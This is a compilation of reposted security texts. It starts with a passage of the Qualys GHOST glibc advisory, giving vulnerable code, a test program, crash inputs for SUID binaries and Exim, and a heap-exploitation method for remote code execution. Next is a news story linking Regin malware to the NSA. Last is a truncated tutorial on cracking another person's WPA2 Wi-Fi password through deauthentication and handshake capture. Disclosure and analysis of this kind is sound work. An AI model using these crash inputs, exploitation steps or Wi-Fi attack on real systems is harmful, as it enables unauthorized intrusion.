implement the gethostbyname*() family, and hence the only way to reach __nss_hostname_digits_dots() and its buffer overflow. The purpose of this function is to avoid expensive DNS lookups if the hostname argument is already an IPv4 or IPv6 address. The code below comes from glibc-2.17: 35 int 36 __nss_hostname_digits_dots (const char *name, struct hostent *resbuf, 37 char **buffer, size_t *buffer_size, 38 size_t buflen, struct hostent **result, 39 enum nss_status *status, int af, int *h_errnop) 40 { .. 57 if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':') 58 { 59 const char *cp; 60 char *hostname; 61 typedef unsigned char host_addr_t[16]; 62 host_addr_t *host_addr; 63 typedef char *host_addr_list_t[2]; 64 host_addr_list_t *h_addr_ptrs; 65 char **h_alias_ptr; 66 size_t size_needed; .. 85 size_needed = (sizeof (*host_addr) 86 + sizeof (*h_addr_ptrs) + strlen (name) + 1); 87 88 if (buffer_size == NULL) 89 { 90 if (buflen < size_needed) 91 { .. 95 goto done; 96 } 97 } 98 else if (buffer_size != NULL && *buffer_size < size_needed) 99 { 100 char *new_buf; 101 *buffer_size = size_needed; 102 new_buf = (char *) realloc (*buffer, *buffer_size); 103 104 if (new_buf == NULL) 105 { ... 114 goto done; 115 } 116 *buffer = new_buf; 117 } ... 121 host_addr = (host_addr_t *) *buffer; 122 h_addr_ptrs = (host_addr_list_t *) 123 ((char *) host_addr + sizeof (*host_addr)); 124 h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs)); 125 hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr); 126 127 if (isdigit (name[0])) 128 { 129 for (cp = name;; ++cp) 130 { 131 if (*cp == '\0') 132 { 133 int ok; 134 135 if (*--cp == '.') 136 break; ... 142 if (af == AF_INET) 143 ok = __inet_aton (name, (struct in_addr *) host_addr); 144 else 145 { 146 assert (af == AF_INET6); 147 ok = inet_pton (af, name, host_addr) > 0; 148 } 149 if (! ok) 150 { ... 154 goto done; 155 } 156 157 resbuf->h_name = strcpy (hostname, name); ... 194 goto done; 195 } 196 197 if (!isdigit (*cp) && *cp != '.') 198 break; 199 } 200 } ... Lines 85-86 compute the size_needed to store three (3) distinct entities in buffer: host_addr, h_addr_ptrs, and name (the hostname). Lines 88-117 make sure the buffer is large enough: lines 88-97 correspond to the reentrant case, lines 98-117 to the non-reentrant case. Lines 121-125 prepare pointers to store four (4) distinct entities in buffer: host_addr, h_addr_ptrs, h_alias_ptr, and hostname. The sizeof (*h_alias_ptr) -- the size of a char pointer -- is missing from the computation of size_needed. The strcpy() on line 157 should therefore allow us to write past the end of buffer, at most (depending on strlen(name) and alignment) 4 bytes on 32-bit machines, or 8 bytes on 64-bit machines. There is a similar strcpy() after line 200, but no buffer overflow: 236 size_needed = (sizeof (*host_addr) 237 + sizeof (*h_addr_ptrs) + strlen (name) + 1); ... 267 host_addr = (host_addr_t *) *buffer; 268 h_addr_ptrs = (host_addr_list_t *) 269 ((char *) host_addr + sizeof (*host_addr)); 270 hostname = (char *) h_addr_ptrs + sizeof (*h_addr_ptrs); ... 289 resbuf->h_name = strcpy (hostname, name); In order to reach the overflow at line 157, the hostname argument must meet the following requirements: - Its first character must be a digit (line 127). - Its last character must not be a dot (line 135). - It must comprise only digits and dots (line 197) (we call this the "digits-and-dots" requirement). - It must be long enough to overflow the buffer. For example, the non-reentrant gethostbyname*() functions initially allocate their buffer with a call to malloc(1024) (the "1-KB" requirement). - It must be successfully parsed as an IPv4 address by inet_aton() (line 143), or as an IPv6 address by inet_pton() (line 147). Upon careful analysis of these two functions, we can further refine this "inet-aton" requirement: . It is impossible to successfully parse a "digits-and-dots" hostname as an IPv6 address with inet_pton() (':' is forbidden). Hence it is impossible to reach the overflow with calls to gethostbyname2() or gethostbyname2_r() if the address family argument is AF_INET6. . Conclusion: inet_aton() is the only option, and the hostname must have one of the following forms: "a.b.c.d", "a.b.c", "a.b", or "a", where a, b, c, d must be unsigned integers, at most 0xfffffffful, converted successfully (ie, no integer overflow) by strtoul() in decimal or octal (but not hexadecimal, because 'x' and 'X' are forbidden). --[ 3 - Mitigating factors ]-------------------------------------------------- The impact of this bug is reduced significantly by the following reasons: - A patch already exists (since May 21, 2013), and has been applied and tested since glibc-2.18, released on August 12, 2013: [BZ #15014] * nss/getXXbyYY_r.c (INTERNAL (REENTRANT_NAME)) [HANDLE_DIGITS_DOTS]: Set any_service when digits-dots parsing was successful. * nss/digits_dots.c (__nss_hostname_digits_dots): Remove redundant variable declarations and reallocation of buffer when parsing as IPv6 address. Always set NSS status when called from reentrant functions. Use NETDB_INTERNAL instead of TRY_AGAIN when buffer too small. Correct computation of needed size. * nss/Makefile (tests): Add test-digits-dots. * nss/test-digits-dots.c: New test. - The gethostbyname*() functions are obsolete; with the advent of IPv6, recent applications use getaddrinfo() instead. - Many programs, especially SUID binaries reachable locally, use gethostbyname() if, and only if, a preliminary call to inet_aton() fails. However, a subsequent call must also succeed (the "inet-aton" requirement) in order to reach the overflow: this is impossible, and such programs are therefore safe. - Most of the other programs, especially servers reachable remotely, use gethostbyname() to perform forward-confirmed reverse DNS (FCrDNS, also known as full-circle reverse DNS) checks. These programs are generally safe, because the hostname passed to gethostbyname() has normally been pre-validated by DNS software: . "a string of labels each containing up to 63 8-bit octets, separated by dots, and with a maximum total of 255 octets." This makes it impossible to satisfy the "1-KB" requirement. . Actually, glibc's DNS resolver can produce hostnames of up to (almost) 1025 characters (in case of bit-string labels, and special or non-printable characters). But this introduces backslashes ('\\') and makes it impossible to satisfy the "digits-and-dots" requirement. --[ 4 - Case studies ]-------------------------------------------------------- In this section, we will analyze real-world examples of programs that call the gethostbyname*() functions, but we first introduce a small test program that checks whether a system is vulnerable or not: [user@fedora-19 ~]$ cat > GHOST.c << EOF #include <netdb.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #define CANARY "in_the_coal_mine" struct { char buffer[1024]; char canary[sizeof(CANARY)]; } temp = { "buffer", CANARY }; int main(void) { struct hostent resbuf; struct hostent *result; int herrno; int retval; /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/ size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1; char name[sizeof(temp.buffer)]; memset(name, '0', len); name[len] = '\0'; retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno); if (strcmp(temp.canary, CANARY) != 0) { puts("vulnerable"); exit(EXIT_SUCCESS); } if (retval == ERANGE) { puts("not vulnerable"); exit(EXIT_SUCCESS); } puts("should not happen"); exit(EXIT_FAILURE); } EOF [user@fedora-19 ~]$ gcc GHOST.c -o GHOST On Fedora 19 (glibc-2.17): [user@fedora-19 ~]$ ./GHOST vulnerable On Fedora 20 (glibc-2.18): [user@fedora-20 ~]$ ./GHOST not vulnerable ----[ 4.1 - The GNU C Library ]----------------------------------------------- The glibc itself contains a few calls to gethostbyname*() functions. In particular, getaddrinfo() calls gethostbyname2_r() if, but only if, a first call to inet_aton() fails: in accordance with the "inet-aton" requirement, these internal calls are safe. For example, eglibc-2.13/sysdeps/posix/getaddrinfo.c: at->family = AF_UNSPEC; ... if (__inet_aton (name, (struct in_addr *) at->addr) != 0) { if (req->ai_family == AF_UNSPEC || req->ai_family == AF_INET) at->family = AF_INET; else if (req->ai_family == AF_INET6 && (req->ai_flags & AI_V4MAPPED)) { ... at->family = AF_INET6; } else return -EAI_ADDRFAMILY; ... } ... if (at->family == AF_UNSPEC && (req->ai_flags & AI_NUMERICHOST) == 0) { ... size_t tmpbuflen = 512; char *tmpbuf = alloca (tmpbuflen); ... rc = __gethostbyname2_r (name, family, &th, tmpbuf, tmpbuflen, &h, &herrno); ... } ----[ 4.2 - mount.nfs ]------------------------------------------------------- Similarly, mount.nfs (a SUID-root binary) is not vulnerable: if (inet_aton(hostname, &addr->sin_addr)) return 0; if ((hp = gethostbyname(hostname)) == NULL) { nfs_error(_("%s: can't get address for %s\n"), progname, hostname); return -1; } ----[ 4.3 - mtr ]------------------------------------------------------------- mtr (another SUID-root binary) is not vulnerable either, because it calls getaddrinfo() instead of gethostbyname*() functions on any modern (ie, IPv6-enabled) system: #ifdef ENABLE_IPV6 /* gethostbyname2() is deprecated so we'll use getaddrinfo() instead. */ ... error = getaddrinfo( Hostname, NULL, &hints, &res ); if ( error ) { if (error == EAI_SYSTEM) perror ("Failed to resolve host"); else fprintf (stderr, "Failed to resolve host: %s\n", gai_strerror(error)); exit( EXIT_FAILURE ); } ... #else host = gethostbyname(Hostname); if (host == NULL) { herror("mtr gethostbyname"); exit(1); } ... #endif ----[ 4.4 - iputils ]--------------------------------------------------------- ------[ 4.4.1 - clockdiff ]--------------------------------------------------- clockdiff is vulnerable in a straightforward manner: hp = gethostbyname(argv[1]); if (hp == NULL) { fprintf(stderr, "clockdiff: %s: host not found\n", argv[1]); exit(1); } [user@fedora-19-32b ~]$ ls -l /usr/sbin/clockdiff -rwxr-xr-x. 1 root root 15076 Feb 1 2013 /usr/sbin/clockdiff [user@fedora-19-32b ~]$ getcap /usr/sbin/clockdiff /usr/sbin/clockdiff = cap_net_raw+ep [user@fedora-19-32b ~]$ /usr/sbin/clockdiff `python -c "print '0' * $((0x10000-16*1-2*4-1-4))"` .Segmentation fault [user@fedora-19-32b ~]$ /usr/sbin/clockdiff `python -c "print '0' * $((0x20000-16*1-2*4-1-4))"` Segmentation fault [user@fedora-19-32b ~]$ dmesg ... [202071.118929] clockdiff[3610]: segfault at b86711f4 ip b75de0c6 sp bfc191f0 error 6 in libc-2.17.so[b7567000+1b8000] [202086.144336] clockdiff[3618]: segfault at b90d0d24 ip b75bb0c6 sp bf8e9dc0 error 6 in libc-2.17.so[b7544000+1b8000] ------[ 4.4.2 - ping and arping ]--------------------------------------------- ping and arping call gethostbyname() and gethostbyname2(), respectively, if and only if inet_aton() fails first. This time, however, there is another function call in between (Fedora, for example, does define USE_IDN): --------[ 4.4.2.1 - ping ]---------------------------------------------------- if (inet_aton(target, &whereto.sin_addr) == 1) { ... } else { char *idn; #ifdef USE_IDN int rc; ... rc = idna_to_ascii_lz(target, &idn, 0); if (rc != IDNA_SUCCESS) { fprintf(stderr, "ping: IDN encoding failed: %s\n", idna_strerror(rc)); exit(2); } #else idn = target; #endif hp = gethostbyname(idn); --------[ 4.4.2.2 - arping ]-------------------------------------------------- if (inet_aton(target, &dst) != 1) { struct hostent *hp; char *idn = target; #ifdef USE_IDN int rc; rc = idna_to_ascii_lz(target, &idn, 0); if (rc != IDNA_SUCCESS) { fprintf(stderr, "arping: IDN encoding failed: %s\n", idna_strerror(rc)); exit(2); } #endif hp = gethostbyname2(idn, AF_INET); --------[ 4.4.2.3 - Analysis ]------------------------------------------------ If idna_to_ascii_lz() modifies the target hostname, the first call to inet_aton() could fail and the second call (internal to gethostbyname()) could succeed. For example, idna_to_ascii_lz() transforms any Unicode dot-like character (0x3002, 0xFF0E, 0xFF61) into an ASCII dot ("."). But it also restricts the length of a domain label to 63 characters: this makes it impossible to reach 1024 bytes (the "1-KB" requirement) with only 4 labels and 3 dots (the "inet-aton" requirement). Unless inet_aton() (actually, strtoul()) can be tricked into accepting more than 3 dots? Indeed, idna_to_ascii_lz() does not restrict the total length of a domain name. glibc supports "thousands' grouping characters" (man 3 printf); for example, sscanf(str, "%'lu", &ul) yields 1000 when processing any of the following input strings: - "1,000" in an English locale; - "1 000" in a French locale; and - "1.000" in a German or Spanish locale. strtoul() implements this "number grouping" too, but its use is limited to internal glibc functions. Conclusion: more than 3 dots is impossible, and neither ping nor arping is vulnerable. ----[ 4.5 - procmail ]-------------------------------------------------------- procmail (a SUID-root and SGID-mail binary) is vulnerable through its "comsat/biff" feature: #define COMSAThost "localhost" /* where the biff/comsat daemon lives */ ... #define SERV_ADDRsep '@' /* when overriding in COMSAT=serv@addr */ int setcomsat(chp)const char*chp; { char*chad; ... chad=strchr(chp,SERV_ADDRsep); /* @ separator? */ ... if(chad) *chad++='\0'; /* split the specifier */ if(!chad||!*chad) /* no host */ #ifndef IP_localhost /* Is "localhost" preresolved? */ chad=COMSAThost; /* nope, use default */ #else /* IP_localhost */ { ... } else #endif /* IP_localhost */ { ... if(!(host=gethostbyname(chad))||!host->h_0addr_list) user@debian-7-2-32b:~$ ls -l /usr/bin/procmail -rwsr-sr-x 1 root mail 83912 Jun 6 2012 /usr/bin/procmail user@debian-7-2-32b:~$ /usr/bin/procmail 'VERBOSE=on' 'COMSAT=@'`python -c "print '0' * $((0x500-16*1-2*4-1-4))"` < /dev/null ... *** glibc detected *** /usr/bin/procmail: free(): invalid next size (normal): 0x0980de30 *** ======= Backtrace: ========= /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x70f01)[0xb76b2f01] /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x72768)[0xb76b4768] /lib/i386-linux-gnu/i686/cmov/libc.so.6(cfree+0x6d)[0xb76b781d] /usr/bin/procmail[0x80548ec] /lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xe6)[0xb7658e46] /usr/bin/procmail[0x804bb55] ======= Memory map: ======== ... 0980a000-0982b000 rw-p 00000000 00:00 0 [heap] ... Aborted user@debian-7-2-32b:~$ _COMSAT_='COMSAT=@'`python -c "print '0' * $((0x500-16*1-2*4-1-4))"` user@debian-7-2-32b:~$ /usr/bin/procmail "$_COMSAT_" "$_COMSAT_"1234 < /dev/null Segmentation fault user@debian-7-2-32b:~$ /usr/bin/procmail "$_COMSAT_"12345670 "$_COMSAT_"123456701234 < /dev/null Segmentation fault user@debian-7-2-32b:~$ dmesg ... [211409.564917] procmail[4549]: segfault at c ip b768e5a4 sp bfcb53d8 error 4 in libc-2.13.so[b761c000+15c000] [211495.820710] procmail[4559]: segfault at b8cb290c ip b763c5a4 sp bf870c98 error 4 in libc-2.13.so[b75ca000+15c000] ----[ 4.6 - pppd ]------------------------------------------------------------ pppd (yet another SUID-root binary) calls gethostbyname() if a preliminary call to inet_addr() (a simple wrapper around inet_aton()) fails. "The inet_addr() function converts the Internet host address cp from IPv4 numbers-and-dots notation into binary data in network byte order. If the input is invalid, INADDR_NONE (usually -1) is returned. Use of this function is problematic because -1 is a valid address (255.255.255.255)." A failure for inet_addr(), but a success for inet_aton(), and consequently a path to the buffer overflow. user@ubuntu-12-04-32b:~$ ls -l /usr/sbin/pppd -rwsr-xr-- 1 root dip 273272 Feb 3 2011 /usr/sbin/pppd user@ubuntu-12-04-32b:~$ id uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev) ------[ 4.6.1 - ms-dns option ]----------------------------------------------- static int setdnsaddr(argv) char **argv; { u_int32_t dns; struct hostent *hp; dns = inet_addr(*argv); if (dns == (u_int32_t) -1) { if ((hp = gethostbyname(*argv)) == NULL) { option_error("invalid address parameter '%s' for ms-dns option", *argv); return 0; } dns = *(u_int32_t *)hp->h_addr; } user@ubuntu-12-04-32b:~$ /usr/sbin/pppd 'dryrun' 'ms-dns' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255' *** glibc detected *** /usr/sbin/pppd: free(): invalid next size (normal): 0x09c0f928 *** ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb75e1ee2] /lib/i386-linux-gnu/libc.so.6(+0x65db5)[0xb75d1db5] /lib/i386-linux-gnu/libc.so.6(fopen+0x2b)[0xb75d1deb] /usr/sbin/pppd(options_from_file+0xa8)[0x8064948] /usr/sbin/pppd(options_for_tty+0xde)[0x8064d7e] /usr/sbin/pppd(tty_process_extra_options+0xa4)[0x806e1a4] /usr/sbin/pppd(main+0x1cf)[0x8050b2f] /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb75854d3] ======= Memory map: ======== ... 09c0c000-09c2d000 rw-p 00000000 00:00 0 [heap] ... Aborted (core dumped) ------[ 4.6.2 - ms-wins option ]---------------------------------------------- static int setwinsaddr(argv) char **argv; { u_int32_t wins; struct hostent *hp; wins = inet_addr(*argv); if (wins == (u_int32_t) -1) { if ((hp = gethostbyname(*argv)) == NULL) { option_error("invalid address parameter '%s' for ms-wins option", *argv); return 0; } wins = *(u_int32_t *)hp->h_addr; } user@ubuntu-12-04-32b:~$ /usr/sbin/pppd 'dryrun' 'ms-wins' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255' *** glibc detected *** /usr/sbin/pppd: free(): invalid next size (normal): 0x08a64928 *** ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb757aee2] /lib/i386-linux-gnu/libc.so.6(+0x65db5)[0xb756adb5] /lib/i386-linux-gnu/libc.so.6(fopen+0x2b)[0xb756adeb] /usr/sbin/pppd(options_from_file+0xa8)[0x8064948] /usr/sbin/pppd(options_for_tty+0xde)[0x8064d7e] /usr/sbin/pppd(tty_process_extra_options+0xa4)[0x806e1a4] /usr/sbin/pppd(main+0x1cf)[0x8050b2f] /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb751e4d3] ======= Memory map: ======== ... 08a61000-08a82000 rw-p 00000000 00:00 0 [heap] ... Aborted (core dumped) ------[ 4.6.3 - socket option ]----------------------------------------------- static int open_socket(dest) char *dest; { char *sep, *endp = NULL; int sock, port = -1; u_int32_t host; struct hostent *hent; ... sep = strchr(dest, ':'); if (sep != NULL) port = strtol(sep+1, &endp, 10); if (port < 0 || endp == sep+1 || sep == dest) { error("Can't parse host:port for socket destination"); return -1; } *sep = 0; host = inet_addr(dest); if (host == (u_int32_t) -1) { hent = gethostbyname(dest); if (hent == NULL) { error("%s: unknown host in socket option", dest); *sep = ':'; return -1; } host = *(u_int32_t *)(hent->h_addr_list[0]); } user@ubuntu-12-04-32b:~$ /usr/sbin/pppd 'socket' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255:1' user@ubuntu-12-04-32b:~$ *** glibc detected *** /usr/sbin/pppd: malloc(): memory corruption: 0x09cce270 *** ----[ 4.7 - Exim ]------------------------------------------------------------ The Exim mail server is exploitable remotely if configured to perform extra security checks on the HELO and EHLO commands ("helo_verify_hosts" or "helo_try_verify_hosts" option, or "verify = helo" ACL); we developed a reliable and fully-functional exploit that bypasses all existing protections (ASLR, PIE, NX) on 32-bit and 64-bit machines. user@debian-7-7-64b:~$ grep helo /var/lib/exim4/config.autogenerated | grep verify helo_verify_hosts = * user@debian-7-7-64b:~$ python -c "print '0' * $((0x500-16*1-2*8-1-8))" 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 user@debian-7-7-64b:~$ telnet 127.0.0.1 25 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. 220 debian-7-7-64b ESMTP Exim 4.80 ... HELO 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Connection closed by foreign host. user@debian-7-7-64b:~$ dmesg ... [ 1715.842547] exim4[2562]: segfault at 7fabf1f0ecb8 ip 00007fabef31bd04 sp 00007fffb427d5b0 error 6 in libc-2.13.so[7fabef2a2000+182000] --[ 5 - Exploitation ]-------------------------------------------------------- ----[ 5.1 - Code execution ]-------------------------------------------------- In this section, we describe how we achieve remote code execution against the Exim SMTP mail server, bypassing the NX (No-eXecute) protection and glibc's malloc hardening. First, we overflow gethostbyname's heap-based buffer and partially overwrite the size field of the next contiguous free chunk of memory with a slightly larger size (we overwrite only 3 bytes of the size field; in any case, we cannot overflow more than 4 bytes on 32-bit machines, or 8 bytes on 64-bit machines): |< malloc_chunk | -----|----------------------|---+--------------------|----- ... | gethostbyname buffer |p|s|f|b|F|B| free chunk | ... -----|----------------------|---+--------------------|----- | X| |------------------------->| overflow where: struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; }; and: X marks the spot where the crucial memory corruption takes place. As a result, this artificially-enlarged free chunk, which is managed by glibc's malloc, overlaps another block of memory, Exim's current_block, which is managed by Exim's internal memory allocator: |< malloc_chunk |< storeblock | | -----|----------------------|------------------------|---------------+---|----- ... | gethostbyname buffer |p|s|f|b|F|B| free chunk |n|l| current_block | ... -----|----------------------|------------------------|---------------+---|----- | | |<-------------------------------------->| artificially enlarged free chunk where: typedef struct storeblock { struct storeblock *next; size_t length; } storeblock; Then, we partially allocate the enlarged free chunk and overwrite the beginning of Exim's current_block of memory (the "storeblock" structure) with arbitrary data. In particular, we overwrite its "next" field: |< malloc_chunk |< storeblock | | -----|----------------------|------------------------|--------+----------|----- ... | gethostbyname buffer |p|s|f|b|F|B| aaaaaaaaaa |n|l| current_block | ... -----|----------------------|------------------------|--------+----------|----- | X | |<------------------------------->| allocated chunk This effectively turns gethostbyname's buffer overflow into a write-anything-anywhere primitive, because we control both the pointer to the next block of memory returned by Exim's allocator (the hijacked "next" pointer) and the data allocated (a null-terminated string, the argument of an SMTP command we send to Exim). Finally, we use this write-anything-anywhere primitive to overwrite Exim's run-time configuration, which is cached in the heap memory. More precisely, we overwrite Exim's Access Control Lists (ACLs), and achieve arbitrary command execution thanks to Exim's "${run{<command> <args>}}" string expansion mechanism: |< storeblock | -----|-------------------------------|---------------|-------------------|----- ... | Exim's run-time configuration | ... .. .. ... |n|l| current_block | ... -----|----x--------------------------|---------------|x------------------|----- | | '<------------------------------------------' hijacked next pointer |< ACLs >| -----|----+-----+--------+------+----|---------------|-------------------|----- ... | Exim's run-time configuration | ... .. .. ... | old current_block | ... -----|----+-----+--------+------+----|---------------|-------------------|----- | XXXXXXXX | |<------------------->| new current_block ----[ 5.2 - Information leak ]------------------------------------------------ The success of this exploit depends on an important piece of information: the address of Exim's run-time configuration in the heap. In this section, we describe how we obtain this address, bypassing the ASLR (Address Space Layout Randomization) and PIE (Position Independent Executable) protections. First, we overflow gethostbyname's heap-based buffer and partially overwrite the size field of the next contiguous free chunk of memory with a slightly larger size: |< malloc_chunk | -----|----------------------|---+-------------------------|----- ... | gethostbyname buffer |p|s|f|b|F|B| next free chunk | ... -----|----------------------|---+-------------------------|----- | X| |------------------------->| overflow As a result, this artificially-enlarged free chunk overlaps another block of memory, where Exim saves the error message "503 sender not yet given\r\n" for later use: |< malloc_chunk | -----|----------------------|-----------------------------|----------+----|----- ... | gethostbyname buffer |p|s|f|b|F|B| real free chunk | error message | ... -----|----------------------|-----------------------------|----------+----|----- | | |<-------------------------------------->| artificially enlarged free chunk Then, we partially allocate the artificially-enlarged free chunk, thereby splitting it in two: the newly allocated chunk, and a smaller, free chunk (the remainder from the split). The malloc_chunk header for this remaining free chunk overwrites the very beginning of the saved error message with a pointer to the heap (the fd_nextsize pointer): |< malloc_chunk |< malloc_chunk | | -----|----------------------|---------------------+-------|----------+----|----- ... | gethostbyname buffer |p|s|f|b|F|B| aaaaaaa |p|s|f|b|F|B| r message | ... -----|----------------------|---------------------+-------|----------+----|----- | | X | |<------------------->|<---------------->| allocated chunk free chunk Finally, we send an invalid SMTP command to Exim, and retrieve the fd_nextsize heap pointer from Exim's SMTP response, which includes the corrupted error message. This effectively turns gethostbyname's buffer overflow into an information leak; moreover, it allows us to distinguish between 32-bit and 64-bit machines. --[ 6 - Acknowledgments ]----------------------------------------------------- We would like to thank Alexander Peslyak of the Openwall Project for his help with the disclosure process of this vulnerability. Sursa: https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt

Link between NSA and Regin cyberespionage malware becomes clearer Lucian Constantin Jan 27, 2015 4:00 AM Keylogging malware that may have been used by the NSA shares signficant portions of code with a component of Regin, a sophisticated platform that has been used to spy on businesses, government institutions and private individuals for years. The keylogger program, likely part of an attack framework used by the U.S. National Security Agency and its intelligence partners, is dubbed QWERTY and was among the files that former NSA contractor Edward Snowden leaked to journalists. It was released by German news magazine Der Spiegel on Jan. 17 along with a larger collection of secret documents about the malware capabilities of the NSA and the other Five Eyes partners—the intelligence agencies of the U.K., Canada, Australia and New Zealand. “We’ve obtained a copy of the malicious files published by Der Spiegel and when we analyzed them, they immediately reminded us of Regin,” malware researchers from antivirus firm Kaspersky Lab said Tuesday in a blog post. “Looking at the code closely, we conclude that the ‘QWERTY’ malware is identical in functionality to the Regin 50251 plugin.” Moreover, the Kaspersky researchers found that both QWERTY and the 50251 plug-in depend on a different module of the Regin platform identified as 50225 which handles kernel-mode hooking. This component allows the malware to run in the highest privileged area of the operating system—the kernel. This is strong proof that QWERTY can only operate as part of the Regin platform, the Kaspersky researchers said. “Considering the extreme complexity of the Regin platform and little chance that it can be duplicated by somebody without having access to its source code, we conclude the QWERTY malware developers and the Regin developers are the same or working together.” Der Spiegel reported that QWERTY is likely a plug-in of a unified malware framework codenamed WARRIORPRIDE that is used by all Five Eye partners. This is based on references in the code to a dependency called WzowskiLib or CNELib. In a separate leaked document authored by the Communications Security Establishment Canada, the Canadian counterpart of the NSA, WARRIORPRIDE is described as a flexible computer network exploitation (CNE) platform that’s an implementation of the “WZOWSKI” Five Eyes API (application programming interface). The document also notes that WARRIORPRIDE is known under the code name DAREDEVIL at the UK Government Communications Headquarters (GCHQ) and that the Five Eyes intelligence partners can create and share plug-ins for it. The newly discovered link between QWERTY and Regin suggests that the cyberespionage malware platform security researchers call Regin is most likely WARRIORPRIDE. Some experts already suspected this based on other clues. According to Kaspersky Lab, Regin was the malware program that infected the personal computer of Belgian cryptographer Jean-Jacques Quisquater in 2013. That attack was linked to another malware attack against Belgian telecommunications group Belgacom whose customers include the European Commission, the European Parliament and the European Council. Der Spiegel reported in September 2013, based on documents leaked by Snowden, that GCHQ was responsible for the attack on Belgacom as part of a secret operation code-named Operation Socialist. Ronald Prins, co-founder of Fox-IT, a Dutch security company hired to investigate the attack against Belgacom, told The Intercept in November that he was convinced Regin was used by British and American intelligence services. The Intercept also reported, citing unnamed sources, that the malware was used in attacks against the European Parliament. An NSA spokeswoman said at the time that the agency would not comment on The Intercept’s “speculation.” The existence of Regin was first disclosed in November, when both Kaspersky Lab and Symantec published extensive research papers on it. However, antivirus companies knew about the malware for at least a year prior to that and forensic evidence suggests that the threat may have been active as far back as 2006. Security researchers believe that Regin is comparable in sophistication to Stuxnet, the computer worm reportedly created by the U.S. and Israel that was used to sabotage Iran’s nuclear efforts by destroying uranium enrichment centrifuges. However, unlike Stuxnet, Regin was mostly used for espionage, not sabotage. Symantec found around 100 Regin victims in 10 countries, mostly in Russia and Saudi Arabia, but also in Mexico, Ireland, India, Afghanistan, Iran, Belgium, Austria and Pakistan. The main targets were telecom operators, government organizations, multi-national political bodies, financial institutions, research centers and individuals involved in advanced mathematical and cryptographical research, according to Kaspersky Lab. No new infections with Regin have been found since mid-2014, said Costin Raiu, director of Kaspersky’s global research and analysis team, via email Monday. It’s not clear whether the malware platform’s authors are working to completely replace it because it has been exposed or are just making significant changes to it. “We believe it would be very difficult to replace the whole Regin platform with something else,” Raiu said. “Therefore, it is more likely it will be modified and improved instead of completely replaced.” Autor: Lucian Constantin @ PCWorld Sursa: http://www.pcworld.com/article/2876112/link-between-nsa-and-regin-cyberespionage-malware-becomes-clearer.html

How to Crack a Wpa2-Psk Password with Windows Syed Balal Rumy+Posted By on Aug 5, 2013 | 34 comments How to Crack a Wpa2-Psk Password with Windows :- It,s very common question on the internet to How to hack a Facebook account password and how to hack a WiFi password. Even if you search on YouTube you will find a lots of tutorial to How to hack a WiFi password using backtrack. However, backtrack OS is not most handy OS for normal users. yesterday my one Facebook friend Lovito Tsuqu Kiho ask me to how to hack WiFi using commview using aircrack-ng. Today i am going to show you how to a crack a Wp2-psk password with windows machine. Software Requirement for this lab :- 1. CommView for Wifi ( Download) 2. Elcomsoft Wireless Security Auditor (Download) Presently i am connected with my own wifi network Virusfound and i want to hack the password of Ultimate that is secured with Wpa2-psk encryption. First you need to be capture the Wpa2, four-way handsake with CommView. Open commView and click on the Start option then click on the capture option to start the capture now it will show you all available AP, Now click on the Tools > Select the Node Reassoication option ( if Node Rassociation is not working , then use WiFi Alfa card ) now select your target AP in the Send a deauthentication request from this AP option. it will show you all available client option. now click on the Send Now option to send the 